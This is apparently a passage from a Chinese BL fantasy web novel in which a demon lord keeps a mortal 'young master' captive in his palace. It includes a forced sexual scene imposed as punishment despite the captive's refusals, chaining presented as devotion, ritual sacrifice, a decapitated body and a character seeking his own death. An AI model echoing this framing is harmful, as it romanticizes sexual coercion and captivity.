所以先吃饭,有什么不对吗? 两人对视,楚青琅张了几次嘴都没能再次说出来什么,他有点被震惊到了。 看他不说话了,兆歧又将他朝怀里又塞了塞,挣开他的手腕,执着的喂饭。 要不是每次喂食中间间隔一个频率,楚青琅几乎以为兆歧要噎死他。 白皙的面颊因为食物,顶出一个饱满的弧度,唇微抿,可能是饿了,他咀嚼的又快速又无声。 长发缠绕在指间,细密软滑,细细嗅去,带着清甜香气。 兆歧不着痕迹的控制着红雾,反复撕裂脖颈上的伤口。 疼痛感很好地抑制住了他的冲动。 他不会再次重蹈覆辙,分魂只有他一部分的记忆,对于如何俘虏一个人来说,实在是浅薄。 他知道,对于这个小少爷来说,单纯的好是永远不够的。 抬手为小少爷擦了下嘴角,兆歧低声询问吃的晕头转向的楚青琅,“你会离开我吗?” 楚青琅捂着肚子下意识的摇了摇头。 拜托,他最后的任务应该就是在魔域,怎么可能会离开? 顶多是按照人设简单的扑腾两下,激怒一下魔尊。 最好让他直接把自己扔到祭坛上。 * 魔座之下。 曲施单膝跪地,身上的压力使得他嘴角溢出鲜血,灰眸安静的凝视着自己的倒影。 直到头顶上传来一道声音,他身上的压制才消散。 “为何不为他带饭?” 曲施抬头,面容惨败,但是他仍笑着说:“尊上,谁知道他就是您心心念念的那个人呢?” “是吗?”兆歧冷眼看着他又吐出一口血后才接着说:“后面他会过来找他们,拦住他,帮他。” 曲施灰眸朦胧,他疑惑道:“您不是要让他做炉鼎吗?为何要放走他?” 无人应答。 轻纱后面魔物狰狞,烛火闪烁不定。 曲施恍然,跪在冰凉的石板上,寒意渗透全身。 魔尊并不会真的放走那个凡人,只是要找一个理由好惩罚他。 凡人总是怕死的。 兆歧敲了敲扶手,红眸暗如深渊。 不管前因如何,就像是小少爷说的那样,他确实没有骗那个分魂,来到了魔域。 死亡也是分魂自愿的。 既然如此,那就欠他吧。 毕竟,小少爷说过不会离开他的,如果小少爷做不到的话,他会帮他。 魔尊的声音在宫殿中回荡,“自己去领罚,另外,派人去找新的祭品。” 曲施垂头,“听令,尊上。” 第22章 第 22 章 带着缠绵。 魔宫很大, 楚青琅急着完成任务,消完食浅睡了一会儿后,就起身摸了出去。 他套了兆歧好多话,得知当时开口的人是魔主之一。 魔域有一位魔尊, 一位魔君, 十位魔主, 和魔尊一同管理这魔界。 魔君是曲施, 负责管理十位魔主,每个魔主手下都有千万魔兵, 不过现在那些魔兵都在仙界,而他们这次过来也是因为兆歧迟迟不向凡界发兵,导致最后一个祭品死活找不到,因此是过来劝他的。 而现在虽然找到了,但是照兆歧的做法, 他们的期待肯定又要落空了。 因此,楚青琅这次出去,是准备给他们一个机会。 出乎意料的, 外面并没有什么守卫, 就算是有提着灯的魔侍, 他也可以轻巧绕开。 脚步声渐渐远去,楚青琅隐在假山后面, 侧身看着魔侍走远, 不禁舒了一口气。 脖颈摩擦衣领,带来一阵不适,他不由得捂了捂,不知道为什么,睡起来之后脖颈和后背总是带点细微的痛意。 黑发被手指撩起, 烛火映出那白皙脖颈上缀着密密麻麻的红痕,一直延伸到衣领深处。 可以想象,这具肉/体,到底是如何被人寸寸品尝。 而这一切,楚青琅浑然不知,他只觉得魔尊虽然脑回路跳跃,但是还是和之前的兆歧一样。 他微微蹙了蹙眉,放下了手,就准备从假山后面走出。 肩膀处却突然传来重量,楚青琅背后一寒,转身贴在了石壁上,警惕的望了过去,“谁?!” 一个高大的身影不知何时隐于暗处,出现在了他的身后。 瞧见他防备的模样嗤笑了一声,“你这个凡人不好好侍奉尊上,在这里偷偷摸摸的做什么?” 那个人向前一步,露出了一张目光冷峻长相粗狂的脸来。 此时他上下打量着紧贴石壁的楚青琅,目光满是轻蔑,手中松松地握着一柄长刀。 是魔尊兆歧的手下‘孟嶙’,也是他原本的目标。 刚刚就是这柄刀放在了他的肩膀吧,几乎随时可以切断他的脖子……. 楚青琅收回视线,克制了想要摸脖颈的手,不耐,“你管我!” ‘孟嶙’冷笑:“你是逃不掉的,不说魔宫外面妖物繁多,就你这细皮嫩肉的,估计走两步就要累死了。” 楚青琅面上闪过一丝被看低的气愤,面前的人说的确实是事实,但是这不代表他不能嘴硬,“谁说我要逃跑了?你那只眼睛看见了?” ‘孟嶙’面色顿时沉了下去,他胸膛起伏了一瞬,硬邦邦的道:“趁着尊上处理事务,你一路从修罗殿摸到这里,中间避开四波魔侍,鬼鬼祟祟,不是要逃跑,你难道是要去找谁?” “关你什么事?”楚青琅调整了一下姿势,昂着下巴瞧他,没有丝毫被发现的紧张害怕。 他甚至笑了出来,“看来你跟着我很久了,那么为什么不直接去和兆歧说,还一路尾随?” 这样的语气和姿势是楚青琅揣摩出来最气人的,更遑论面前的人还原本就对他不满了 于是他满意的看见了对面眼中杀意闪过,仿佛捕猎前的平静,‘孟嶙’语气甚至都放缓了。 “我知道出口在那里。” 楚青琅滞了一下,他就知道面前的人和他说这么多,一定不只是为了戳破他想要逃跑的心思。 宝石一般的眼眸带着惊喜,但是他却没有立即开口,而是犹豫了一下说:“你知道又如何?难道还能带我出去?” 他又道:“我可是最后一个祭品,你们找了我这么久,就这么轻易地放我出去?” 说完,神情由惊喜转为怀疑。 ‘孟嶙’面颊抽动了一下,冷哼道:“你以为你这个祭品很特殊吗?要不是尊上不允许我们出兵凡间,我们早就完成献祭了!!我会送你出去,说你是被凡界的人救走了,到时候尊上一定会发怒,我们就有理由出兵凡间了。” 楚青琅仿佛被说动了,他站直了身子,一张明艳的脸上带着纯粹的喜悦,丝毫没有意识到这话里的残忍意味。 “好!快带路!” ‘孟嶙’转了转手中的刀,粗狂的脸上露出了一个森冷的笑,随后便头也不回的走出了假山。 楚青琅立刻跟在后面。 他们一路行进无阻,就像之前楚青琅瞧见的魔侍都是幻觉一般。 魔宫建筑用的是黑色的石料,雕刻着各种生动的妖物,金黄色的烛火两步一燃,随着两人穿过微微晃动。 虽然楚青琅并不知道魔宫的地形,但是他也明白此时这个‘孟嶙’带他走的并不是出宫的路,反而是走向魔宫深处。 但是他只是一个凡人,还是一个听见自己可以死里逃生的凡人,他应当注意不到这些事情的,因此楚青琅权当自己眼瞎,只是埋头跟着‘孟嶙’走。 他知道‘孟嶙’不是带他去的地方应该就是祭坛了,他们已经和仙界打了那么久了,只差他一环,他们魔界就能获得胜利,偏偏魔尊兆歧不知道犯什么病非要把他留下来,因此这些下属一定会打着先斩后奏的注意。 这也算是,另类的双向奔赴吧。 楚青琅弯了弯眼,跟着‘孟嶙’走向了一个难得没有点烛火的宫殿。 在门口,他还装作害怕的样子小声问:“这就是出口吗?” ‘孟嶙’像是不耐烦了,回答的语气并不好,“我说了,你自己出不去,这里面是传送阵,对面是仙界,仙界不是一向保护你们人类的吗?到时候你自己叫人送你回去好了。” 楚青琅双眼一亮,立马没了意见,兴高采烈的迈了进去。 刚一进去,就感觉两边传来了冷风,脚下的地面微微倾斜,不像是宫殿,倒像是地下室,还隐约能够嗅见一股血腥气。 一旁‘孟嶙’从他的身旁走过,高大的身影在眼前渐渐模糊,楚青琅加快脚步跟随着,但是不知道是他的速度太慢了还是怎么,再一晃神,‘孟嶙’就不见了踪影。 楚青琅愣了下,心中隐约生出不安来,他吸了一口气,小声喊道:“孟嶙?孟嶙?” 声音传出,却像是被罩子压住一般,只在耳边回荡,很快就消散了。 楚青琅又不敢大声喊叫,于是他只能硬着头皮抹黑朝着前方走去。 他扶着墙壁,七拐八拐的,眼前倒是突然出现了一个微小的光点,像是出口。 于是他眼也不眨的盯着那点光亮,快速地跑了过去。 不知道跑了多久,楚青琅只觉得自己好像穿透了一层薄膜,随后便是刺眼的白光充斥了视野,他下意识的闭上了眼。 随着白光渐渐减弱,他放下挡光的手,微微睁开了眼。 纵深极高的穹顶,两边是没有面目的举着明珠的金属雕塑,正中间有一个圆台,上面刻画着什么,他并没仔细看。 ‘孟嶙’正站在圆台边缘,安静的垂着头。 楚青琅快步走过去,生气道:“你为什么不等我?!” ‘孟嶙’没有反应,他直接伸手推了一下。 谁知只是这轻轻一推,‘孟嶙’便直接身首分离,倒了下去。 楚青琅直接愣在了原地。 他这才察觉到一阵细小的滴答声,正连绵不绝的响起。 那圆台上倏地燃起了火焰,将这个明亮的却阴冷的地方增添了几分暖意。 “喀拉——” 长刀被火焰冲下,将楚青琅从震惊中惊醒,他连忙后退了一步,躲开了撩过来的火焰。 下一刻,他就瞧见了那深蓝色的焰心下刻着繁复的花纹,花纹是红色的,像是由鲜血铸成。 这是什么? 这个就是祭台? 为什么‘孟嶙’死了? 是谁杀的他? 楚青琅脑海中闪过各种想法,眼睁睁的看着‘孟嶙’的尸体在火焰里面被烧成灰烬。 深红色的火焰跳动着,在空中飘荡着曳出轻纱,他眼也不眨的凝视着,几近于沉迷。 他不由得向前走了一步。 一只手臂却忽地伸来,按下他的手臂将他搂了回去。 冰凉呼吸打在后颈,带着缠绵。 “你来这里做什么?” 楚青琅才猛地打了个激灵清醒过来,意识到自己刚刚做了什么之后,面色顿时变得苍白。 他没有回话,身后的人也没有催促,只是安静的搂着他。 曲施带着笑缓缓从圆台后方走来,一双灰色眼眸看不出情绪,对着他的方向行礼,“尊上。” 楚青琅这才意识到他身后是魔尊,他连忙挣开腰间的手臂,扭身道:“这是什么地方?是你们杀了孟嶙?” 兆歧只是说;“这里魔域最深处,也是魔域的禁忌,绝不许外人进入。” 楚青琅脑子一片混乱,他下意识的反驳:“他说了,要带我去传送阵的,怎么会来这里?” 兆歧面上带上冰凉的笑,红眸映着不远处的火焰,靠近他,语气笃定,“你要逃跑。” 楚青琅眼中闪过懊恼的神色,兆歧掐着他的下巴,指腹揉弄着那柔软唇瓣,轻声道:“你说过喜欢我,要陪我留在魔域的。” 脂红色的唇被揉弄压下,露出洁白的齿,那齿张开,猛地叼住兆歧的指尖。 一用力,便有血丝顺着骨节留下。 楚青琅扭头松开,被鲜血染红的唇愈发红艳,他说:“那又怎么了?这里又黑又冷,跟坟场一样,谁要呆在这里,我要回家!” 兆歧看了一眼手上几乎露出骨头的牙印,红眸蕴起戾气,“反复无常的小骗子。” 楚青琅瞪了他一眼,还没说什么,一旁的曲施就指着已经被烧成灰的孟嶙,慢悠悠道:“小少爷,那个人骗你呢,魔域灵气贫乏,哪有什么传送阵?他叫你过来不过是想要杀了你,然后在这里将你献祭罢了。” 他狭长双眼眯起,手中握着那柄长刀,笑嘻嘻地向四周划了一下,“你仔细看看呀,这里,可都是祭品。” 刀光闪过,原本空空荡荡的墙壁,忽然多了一些被吊起来的人。 除了那些人,每座雕像前,都有一些穿着长袍的仙人被刺穿肩胛骨不时发出痛哼。 先前忽视的血腥气瞬间浓烈起来。 曲施又说:“原本你也会成为这里的一员不好好把握吗?” 眯起的眼眸睁开,他在提醒。 楚青琅瞬间明白,这里就是祭坛了,他只要在这里被烧死,任务就完成了。 孟嶙没有骗他,是真的一心想要杀死他。 就是面前的魔尊很烦人。 他看着那张英俊面孔,因为他没有回话,那双眼眸中的暴戾将原本柔软的情绪撕碎,带着不再遮掩的冷酷。 魔尊想看他主动服软。 但是。 楚青琅弯起唇笑了下,明艳的五官舒展,眸光纯澈。 身后是火光灼灼,将他周身都拢上一层浅淡的光芒。 仿佛幻象重现,兆歧眼中闪过痴迷,心脏不自然的跳动着,连手下的力道都下意识松了下。 楚青琅猛地挥开他的手,在两人惊愕的目光中,朝着染着火焰的圆台冲去。 转瞬间,红色的衣袖被灼烧成灰,白皙修长的手指几乎要接触到那摇曳火光。 身后,兆歧目眦欲裂。 “楚青琅!!!” 楚青琅当然是听见了,但是他才懒得管。 刚刚他观察了,孟嶙一个修为高深的魔都烧的那么快,那么他一个纯正的凡人,要是落进去估计要不了几秒就灰飞烟灭了,没准都感受不到疼痛。 虽然没有走流程被折磨,但是他确实是死在了祭坛,到时候主系统应该不会扣他的评级吧? 心中正畅想着,他眼前一黑,整个人就撞进了一个人的怀中。 他怔愣抬头,就瞧见黑发散乱的魔尊拥抱着他朝后仰去,眼眶微红,字字泣血,“你就算死,也不要陪我喜欢我?” 在兆歧身后,火焰顺着他的身躯攀折而上,转瞬间火舌就舔舐到了楚青琅的面颊。 心脏猛地一缩,楚青琅慌乱起来。 他攀附着兆歧的脖颈,下意识地摇头,却被一只手扣住了后颈,压下了身躯。 视野彻底被火焰填满,在滋滋的烧灼声中,兆歧抵住他的额头,带着狠戾暴虐的情绪,几乎是疯狂的啃噬着他的唇,在他的口/中搜刮。 那英俊苍白的面颊被火焰灼出红痕,无形的血雾却将他包裹的严严实实。 他看着兆歧皮肤萎缩,血色肌肉裸露,里面盛着的红眸却是一如既往的专注,蕴含着无尽情感,将他倾覆。 不知道是因为嘴上的痛楚还是火焰过于刺目,他泪水一颗颗落下。 被腾起的火焰蒸发,转瞬成空。 等反应过来后,楚青琅才发现周围的火焰早已熄灭,自己则在红雾中微微颤抖。 曲施缓缓走来,黑袍堆叠于台面,灰色眼眸雾气般迷蒙。 楚青琅喃喃,“为什么。” 曲施依然笑意盈盈。 楚青琅朝他喊:“为什么不救他?!他不是你们的尊上吗?” 曲施竖起一根手指抵住他的唇瓣,嘘了一声,他说:“这不是你想要的吗?不开心吗?” 他想得是他自己死,而不是兆歧死! 曲施不知看没看出他的愤怒,他前倾身子,隔着那根手指,两人几乎双唇相贴。 “这个祭坛,是假的哦。” 楚青琅脑海顿时一片空白。 周身萦绕的红雾微微晃动,仿佛在抚摸着他的全身,他有些不适的蜷缩起来。 曲施安静的退回,垂下了眼。 惨白骨骼从腰间缓缓浮现,随后是小臂,大臂,直到身躯头颅俱全,血肉重新充盈,皮肤寸寸生长。 身后仿佛贴着一块冰块,寒意从脊背渗入,一道呼气声吹开他脸庞微焦的发。 “——主人,你怎么敢又一次抛弃我?” 第23章 第 23 章 细嚼慢咽。 这算什么抛弃?我不去死难道还要留下来跟你接着聊天吗? 背后寒意深深, 楚青琅吞了下口水,脑海中乱七八糟的想着,他甚至觉得后面的人是从地狱中爬出来朝他索命的。 兆歧瞧着那莹润耳垂,柔软细嫩, 让人想要抿住咬一咬, 然后吞入腹中。 他便跟随本心碰了碰, 楚青琅强忍着仿佛被冰块包裹的耳垂, 战栗感从尾椎直冲头顶,眼眶瞬间隐忍泛红。 他颤抖着声音, “兆,兆歧,不是我杀的你,别找我,呜。” 他是真的害怕鬼, 尤其是兆歧之前死的那么惨。 背后的声音冰凉,“我有很多办法在不伤你性命的前提下,让你留下来。你想选择一下吗?” 他仿佛褪去了某种伪装出来的属于人类范畴的温和, 语调吊诡, 却又含着某种危险意味。 楚青琅下意识的摇头。 兆歧又说:“那就好好学会如何做好一个炉鼎, 安心呆在我身边,依赖我, 喜欢我。” 做好一个炉鼎?炉鼎能做什么? 楚青琅抿唇, 他已经意识到身后的人并不是鬼,因此那恐惧就褪了下去,理智重新占据了上风。 身后的人品尝着,使得耳朵仿佛被罩在玻璃一般朦胧黏腻。 察觉到已经探入耳道,楚青琅歪头躲开。 他想说系统只是代码, 根本不会喜欢人,就算是双修了又能如何? 但是搂着他的手却缓缓从腰间上移,摸到了他的下颌,将他的头颅扭了过去。 两人对视,楚青琅收回思绪,带着泪嗤笑,他说:“做梦!我怎么可能会喜欢上一个奴隶,一个魔!” 兆歧那双眼眸却只是直勾勾的瞧着他,苍白面孔上带着阴冷神色,“是吗?” 他凑过来啄他的唇,不像曲施那样轻飘飘的,带着温暖的气息,反而像是尸体一般,冰冷僵硬。 脊骨因着强硬的力道不可避免的产生酸痛感,楚青琅感觉面前的人把他当成了什么好吃的东西。 描摹着花瓣边缘,咬弄着湿粉色的纤维,细嚼慢咽。 那鲜明的侵略感从兆歧的眼角眉梢流露出来,腰间的手臂力道越来越重。 他甚至感到疼痛。 楚青琅想要张口说话,但是那点声响却直接被夺取。 氧气,涎/水,一切。 都在他人的注目中,一点点的被吞噬。 蛇吞猎物般笃定,慢条斯理,却又强硬深入到让人头皮发麻。 他有些窒息,腰间的手环绕,指尖轻叩他的腰侧,带来一阵熟悉的酥麻,随后撕裂声朦胧传来,凉意顿时蔓延。 头晕目眩中,那人终于离开。 楚青琅颤抖着竭尽全力呼吸,光洁脊背在昏黄的殿内仿佛被蒙上了一层绮丽的色彩。是永寂的魔域从未有过的纯白,触手可及的脆弱。 周围安静的可怕,楚青琅正换着气,就感觉有人覆上来,坚硬冰冷的牙齿在他的后颈啃/噬厮/磨。 那企图过于明显,他努力转身想要摆脱,抬腿就要踹人,却被一把拽住了脚踝。 只是纯粹筋骨地力道,就轻而易举的制止了他的动作。 楚青琅挣脱不开,直接伸出手抓住兆歧的发,咬牙道:“我不要和你双/修!你变态啊!周围都是人!!” 兆歧被他拽起,红眸沉沉,看着他泛着红潮的面颊,嗓音阴寒,“这是逃跑的惩罚。” 楚青琅被他的冷面吓到了,虽然兆歧现在面目完整,但是他还记得那血肉裸漏皮肤萎缩的情形,他简直不敢想,眼睁睁的看着自己被烧死,到底是多疼。 他有点心虚道:“不能在这里,而且我是上/面的!不然我,我死也不会原谅你!” 魔尊总不能雌伏于人吧?这可是和先前的那些情形不一样。 但是出乎意料的,兆歧却只是按着他,伸手为他拨了拨散乱的发,说:“好。” 楚青琅:? 他的手下意识的松开,一双眼眸睁大,震惊的瞧着兆歧。 楚青琅下意识的就要打开系统面板,想要看看面前的人是不是出bug了。 他在震撼,兆歧却仿佛得到了允许一般,肆意动作起来。 而随着兆歧动作,楚青琅只觉得体内流淌的血液仿佛突然凝成了羽毛柔软的鸟儿。 尖锐的喙啄开他的血管,翅膀湿濡地骚动着他的血肉,连带着理智,都被撕咬吞噬。 雕像高举烛火寸寸勾勒着细腻柔韧的白玉,寒意很好的缓解那燃烧的灼热,却只是一触即分。 很快,楚青琅就忍不住发出了细碎地喘/息,指间两人细密的黑发交织纠缠,追逐着猛烈翻涌的光芒,淡蓝色的面板在眼眸中晃动,又被关闭。 思绪被蒙在无边薄纱中。 余光中他瞧见那灰色的眼眸几近于冰冷的凝视着他们。 他恍惚想起那一直在他面前笑的谢尘缘,当时察觉到自己被威胁的时候,那双俊美斯文的面孔也是一样的,冰凉。 楚青琅甚至产生了错觉,他们好像在痛苦。 红雾还是笼罩了整座祭台,隔离了所有的风色,剥夺了墙边所有注视者的性命与双眼。 血色凝成绒毯,在翻覆中沾染每寸白玉。 只有一声声濒临崩溃的哀泣泄露了些许旖/旎情/意。 * 楚青琅被放到了美人榻上。 他一个凡人之躯,当然比不上魔尊,虽然中间他被折腾的狠了也气的按着人弄,但是最后还是被一双腿勾着扑进了那坚实冰冷的怀抱。 直到求饶才被越做越兴奋的魔尊放过,中间不知道答应了多少条件。 虽然楚青琅一概没有记住。 榻后开着窗,可以看见暗下来的天空和血色的月亮。 楚青琅收回视线,感觉那月亮就像是兆歧凝视着他的眼瞳,无边的光华就像是一直在纠缠着他的双手。 被红衣掩盖下的双腿交叠,上面蔓延着密密麻麻的红痕,尤其是脚踝处突出的骨骼,完全被齿痕占据。 他觉得以后如果不是确定魔尊不在,他基本是不可能完成任务的。 魔尊已经完全变异了,竟然喜欢上了他这个炮灰。 就算是再迟钝,床都上了,他也就明白了魔尊想的是什么了。 楚青琅默默的打开系统面板,看着最后一个支线任务,心中哀叹。 这样子下去,不说任务了,就剧情估计都要歪到天边了。 兆歧并不清楚他的想法,坐在他的身侧,缓慢的为他修剪着被火焰撩过的发尾。 英俊的面容愈发苍白,甚至带着潮湿的鬼魅之气,他说:“有喜欢我一点吗?” 楚青琅直接翻了个白眼,“没有!” 神奇的是他心中除了对于不能完成任务的焦躁以外,对于自己的处境并不担心。 他总感觉魔尊并不会伤害他,就像是先前在落仙台,哪怕是被他弄死了一次,魔尊也只是将他身上的束缚解开 兆歧凑上来,仔仔细细的打量着他,试图从他的脸上找出一点蛛丝马迹。 但是那双黑眸,一如既往的清透,里面是不安、烦躁、忧虑,就是没有丝毫的情意。 在确认的瞬间,他握紧了手中的匕首。 察觉到了注视,楚青琅掀开眼皮,一颗红色的小痣就这样被藏进了眼尾的褶皱之中,他懒懒道:“我要洗澡。” 他支起身子,被撕烂的红衫完全遮蔽不住那身上的痕迹。 瞧上去,可以察觉出另一人到底是怀抱着何等贪婪的心思,将这具身体,上上下下打满了标记。 兆歧顿了下,手腕一转,匕首消失。 没关系,他想。 他弯腰将人抱起朝着殿后走去。 他们还有很长的时间。 这次不行,下次,下下次,总会有那么一天的。 雾气缭绕,纱幔垂下营造出朦胧环境,墙壁上嵌着发光的灵石,角落雕刻着各种狰狞异兽。 兆歧掀开纱幔,光脚踩着油亮金砖,抱着小少爷一步一步的走进水中。 浸在温热水中,那些疲累都褪去了几分,楚青琅仿佛突然想起了什么,试探问道:“兆歧,你为什么可以死而复生?” 兆歧揽着他的腰肢,将他翻过身,声音在注水声中变得轻飘飘的,“先前在凡间的只是我的一个分神。” 楚青琅趴在汤池边缘,莫名的觉得后背发凉,他接着问:“那在祭坛上的,也是你的分神?你怎么知道我过去的?你一直跟着我?” 兆歧撩起水洒在那光洁脊背上,他说:“只是巧合,而且只要魔骨不毁,我便不会死。” 这么变态? 楚青琅被震惊到了,他默默的把自己引仙界中人干掉魔尊的想法去除。 这样下去,他就只能强制退出了。 但是强制退出的话,就默认放弃考核了,他也会成为有史以来第一个放弃考核的系统,这甚至比考核失败还丢人。 楚青琅自暴自弃地把头埋进双臂中,有那么些许的失落。 明明主线任务都完成了,现在却卡在这个他最不在意的支线上。 他就只是想死而已,怎么这么难? 顶着后背灼人的视线,楚青琅闷声说:“我要是喜欢上了,你后面会不会厌烦了我然后把我杀了?” 像是已经完全恢复了,兆歧的体温渐渐上升,不再像尸体一般冰冷。 宽大的汤池里,他们胸膛贴着脊背,头颅挤挨在一起。 兆歧道:“不会有那样一天。” 楚青琅沉默了一会儿,突然侧头和他对视,弯起眼笑了下,“那我会尝试的。” 兆歧愣了一下。 楚青琅接着说:“尝试喜欢你。” 黑眸里面仿佛有碎星闪烁不定,是恶意?还是认命了? 毕竟经过先前的事情,这个娇生惯养的小少爷一定不会再试图逃跑了。 兆歧的瞳孔不可控地扩大了一瞬。 他伸出手猛地拉过楚青琅,两人一起吻着,抵死纠缠着沉入了水中。 * “别哭。” “我,我就哭!你这里都没有石榴、还有桃子、木蜜,还有酥酪,桂花糖哈,也,也唔轻点!没有风筝,很多很多风筝。” 兆歧像是想笑,又忍住了,他说:“好,会有的。” “我嗯,想啊,想回家。” “……” “贱,唔贱奴。” “再来一次好不好?” “……不,别,放开!!!” 朦胧的视线中,那抹鲜明的红凑近,细细密密的吻又落下。 微哑的嗓音飘远,原本清醒几分的神志重新被黑暗捉住。 楚青琅翻个身,一道清脆的金属碰撞声,直接将他惊醒。 他搂着锦被呆呆地坐起身,看着一旁红色的床幔,总觉得自己昨天好像说了什么乱七八糟的话,手上还残留着因为兆歧莫名其妙笑起来而捂住他的嘴,却被咬了一口的触感。 但是完全想不出来,应该没有崩人设吧? 楚青琅心中犹疑,左右看了看。 空荡荡的寝殿里面铺满了洁白的绒毯,明珠宝石随处可见,雕饰繁复华丽,但是和别的地方不同的是,这里并没有那种满是煞气的雕像,于是便不像是在魔域,更像是那个凡间的王公子弟之所。 他掀开锦被,踩到了那柔软的绒毯上,却听见那道金属碰撞声又一次响起。 来源,在他的腿边。 楚青琅的视线下移,看着没有感到丝毫束缚的脚踝,只见他的脚腕上,扣着一个通体银白,嵌着红色晶石的圆环,一条同色锁链通向床榻深处,绵延看不见尽头。 他下意识的拽了拽。 怎么会这样? 明明他都答应要试着喜欢兆歧了,为什么兆歧要这样做? 楚青琅默默思考了一下。 难道是看出来他是在骗人吗? 第24章 第 24 章 我有点喜欢你了。 踢了踢脚上的锁链, 听着那清脆的声音,楚青琅直接光脚推开了寝殿的大门。 现在已经可以确定魔尊不信他,但是这并不代表楚青琅没有办法。 主系统教导过他,一时的失败并不能代表什么, 如果放弃了, 才是真正的失败者。 楚青琅踩着冰冷整洁的玉阶, 漫无目的地走着, 身后的锁链并没有限制他的行动,仿佛只是一个标记, 就像是先前他在兆歧身上印上的奴印一般。 如今魔尊的手下虽然想要他这个祭品去死,但是他们打不过魔尊,从这一方面得不到丝毫的助力。 而他认识的人仅有去了青云仙宗的谢尘缘,还有一个态度模糊的曲施。 谢尘缘如今远在仙界,可谓是鞭长莫及, 而曲施他皱了下眉,这个人实在是让他搞不懂。对魔尊的死毫无反应可以说他时相信魔尊的实力,但是为何告诉他那个祭坛是假的呢? 那么真正的祭坛在那里? 楚青琅停下脚步, 看着阶梯下仰头望着他的人, 歪了下头。 “曲施。” 魔域并没有阳光, 有的只是灰蒙蒙的天空。 天空下,漆黑宫殿前, 站在高处的人类穿着红袍, 衬着面容愈发纯粹俊美,黑亮眼眸居高临下的凝视过来,是那么高高在上,但是脚腕上却带着束缚意味极强的锁链。 曲施眼珠上移,将视线从那刺眼的银链中移开, 面上缓缓绽开一个灿烂笑容,他说:“怎么了?” 楚青琅朝他走去,在锁链的声响中问:“兆歧呢?” 楚青琅眉头微蹙,又很快松开,就仿佛在掩饰自己的思念一般,很快含糊的补充道:“我醒来他就不见了,他昨天还被那样,还不知道有没有受伤,他现在在哪?” 曲施“啊”了一声,学他歪了下头,不解道:“你在关心他?” 楚青琅停下脚步,下意识反驳,“谁关心他了!我,我只是问一句而已!” 曲施手中捏着扇子,转了一圈才接着道:“你现在的心情并不真实。” 他点着楚青琅的心脏,力道不重,面上笑意不变,同天空一般灰蒙蒙的双眼看不出情绪,他又说:“就算是最让人讨厌的人,阴阳合道决也会改变你的心意,一点一点的把他填进你的心中,你会惦记他,关心他,直到最后,爱上他。” 楚青琅的面容微变,轻而易举地被挑拨到。 他抬手握住那扇面,尾指几乎覆上曲施的手指,他愤怒道;“你的意思是我现在这样都是因为那个双修的法门?是兆歧做的?但是他没有给我说啊,他怎么能这样!” 感受着那一点温热,曲施面上的笑容变得真实起来,他瞧着面前好像气狠的少年,正要开口安慰,却只见少年的语调忽地转变,指尖顺着扇子滑向他的方向,握住了他的手腕。 楚青琅凑近,学他笑嘻嘻道:“你以为我会这样说吗?” 指尖脉搏快速跳动,楚青琅拽紧他想要后退的手腕,弯起眼黑亮的眼眸中满是好奇,“你刚才的话好熟悉,你说祭坛是假的,又不想我对魔尊表现出关心,不,不如说,你不想我喜欢上他。” 仿佛找到了破绽的精怪,他的眼中满是嗜血兴奋。 红润的唇瓣上还带着被啃噬过的齿痕,偶尔说话间露出一抹湿红舌尖,抵在齿间,格外诱人。 楚青琅眨了下眼,他话语跳脱,判断却精准极了,“你亲我,你嫉妒他!” 曲施映照他的话一般,下意识凝望着那张合的唇,灰眸雾气翻卷,他终于失去了笑容。 他说:“明明是我把你带回去的。” 是他先找到楚青琅的,如果不是他,魔尊凭什么可以得到这个人类? 楚青琅忍不住讥讽道:“你把我带过来,可是要我去死的。如果不是我认识兆歧,我现在已经像那些祭品一样了吧,你凭什么嫉妒?” 曲施攥紧了扇子,骨节泛白。 楚青琅兴致缺缺的松开手退了回去。 这个人真没意思,拨开那层伪装之后,里面竟然是完全腐烂的玩意。 不过这样正好。 楚青琅道:“但是没关系,我可以原谅你呀,我不喜欢被人控制,连自己喜欢的是谁都不知道,你可以帮一帮我吗?” 赤脚站在他面前,笑弯了眼的小少爷,撒娇般的话语,蛊惑着。 “真正的祭坛在那里呀?” 被戳破的羞怒隐在心中,仿佛要失去什么的恐慌让曲施喉咙发紧。 他呼吸了几下,只能回答。 “在仙界天柱山下,魔界的这个只是障眼法。” 楚青琅握着那扇子晃了晃,又亲亲密密的问:“那你可不可以帮我给青云仙宗的一个人传递一个消息?” 曲施凝视他良久,直到他疑惑漫上眉眼时才扯出一个笑来。 他说:“好。” 得到了回答的楚青琅把东西塞进曲施的怀中,然后上前一步摸了摸他的发,“乖哦。” 随即兴高采烈地转身离开了这里。 * 楚青琅东走走西走走,还是摸到了魔尊所在的地方。 从远处走到殿门前时,他瞧见了远处气冲冲走远的一些人,那是魔主们,此时都气压极低,楚青琅猜测,他们应该是不死心想要献祭他,然后被魔尊给反驳了回去。 真是的,就不能有点用吗? 联合起来反抗也可以啊。 楚青琅收回视线,迈过门槛,正准备气势汹汹的朝着里面走去,却发现刚刚还坐在桌子前在办公的人已经来到了他的面前,悄无声息地吓了他一跳,“你干嘛?” “怎么不穿鞋?”兆歧弯腰将他抱起,让他坐到了桌子上面,然后拿出手帕,低头细细擦拭起那细白脚掌。 因为魔宫并没有什么灰尘,所以一路走来除了有些凉以外,那脚底还是一如既往的干净,兆歧的手指划过,带来一阵细密痒意。 楚青琅下意识的向后勾了勾脚,挂在上面银色锁链发出哗啦一声响,却被一只大掌连着银圈箍住,动弹不得。 黑色的桌面上,摆放着看不懂的战报和一些乱七八糟的东西,楚青琅没有办法,另一只脚踩着魔尊的膝盖,碾了碾,他说:“兆歧你什么意思?” 兆歧疑惑的“嗯”了一声。 楚青琅弯腰抓住锁链,怼到他的眼前,“别给我装傻!” 兆歧声音平淡,“怎么了?我锁住属于我自己的东西,有什么不对吗?” 楚青琅直接把锁链扔到他的脸上,气冲冲地踢了过去,他生气道:“谁是你的东西!你是我的奴隶!你这是以下犯上!” 兆歧神色不动,任由楚青琅发泄怒意。 银色锁链落于掌心,他瞧着,红眸中漾出淤泥般阴暗情绪,锁链是他亲手打造,自从那个分神回来之后,每瞧见一次幻象他便会打磨一截,直到现在,他的小少爷,已经可以带着这个东西,在这诺大的魔宫中肆意行走。 楚青琅看着他跟个泥胎木相一般,就更气了,他拿起桌子上的东西就朝着兆歧扔去。 但是兆歧还是在骚乱中把他的另一只脚给擦拭了干净,随后不知从哪里变出来了一双鞋袜来,给他穿了上去。 最后,躲过扔来的笔架之后,他揽着楚青琅的腿弯,攥着还没来得及收回的手腕,将人压在了身下。 仿佛感觉到了危险,一直闹腾不休的小少爷倏地安静下来,黑眸瞬间漫上水光,控诉的凝望着他。 